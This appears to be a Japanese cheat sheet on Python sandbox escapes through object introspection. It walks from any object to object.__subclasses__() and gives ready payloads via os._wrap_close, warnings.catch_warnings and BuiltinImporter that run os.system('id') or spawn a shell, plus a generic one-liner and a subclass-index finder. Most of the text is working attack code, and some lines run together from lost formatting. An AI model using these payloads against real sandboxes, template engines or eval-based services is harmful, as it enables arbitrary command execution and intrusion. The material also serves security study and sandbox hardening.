Object Introspection
Overview
Pythonの全てのオブジェクトは object を継承している。この特性を利用して、任意のオブジェクトから object に到達し、そこから危険なクラスを探索できる。
基本概念
__class__
オブジェクトが属するクラスを取得する。
"".__class__ # <class 'str'>().__class__ # <class 'tuple'>[].__class__ # <class 'list'>__bases__
クラスの直接の親クラスをタプルで取得する。
str.__bases__ # (<class 'object'>,)__mro__ (Method Resolution Order)
クラスの継承チェーン全体を取得する。
str.__mro__ # (<class 'str'>, <class 'object'>)__subclasses__()
クラスの全ての直接のサブクラスをリストで取得する。
object.__subclasses__() # [<class 'type'>, <class 'async_generator'>, ...]基本チェーン
任意のオブジェクトから object に到達し、サブクラスを列挙:
# 文字列から"".__class__.__bases__[0].__subclasses__()
# より短く"".__class__.__mro__[-1].__subclasses__()
# タプルから().__class__.__bases__[0].__subclasses__()危険なクラスの探索
os._wrap_close (Python 3.x)
os.popen() の戻り値のクラス。__init__.__globals__ から os モジュールにアクセス可能。
# インデックスはPythonバージョンにより異なる[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('id')warnings.catch_warnings
_module 属性から builtins にアクセス可能。
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')BuiltinImporter
直接 load_module を呼び出してモジュールをロード。
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'BuiltinImporter'][0].load_module('os').system('id')ワンライナー例
# 汎用的なペイロード[x for x in ().__class__.__base__.__subclasses__() if x.__name__=='_wrap_close'][0].__init__.__globals__['system']('sh')
# インデックス指定版 (環境依存)().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['system']('id')サブクラスインデックスの探索
# 探索スクリプトfor i, c in enumerate(().__class__.__bases__[0].__subclasses__()): if '_wrap_close' in str(c): print(i, c)Tips
- サブクラスのインデックスはPythonバージョン、インストール済みモジュールにより変動
__mro__[-1]は常にobjectを指す__base__は__bases__[0]のショートカット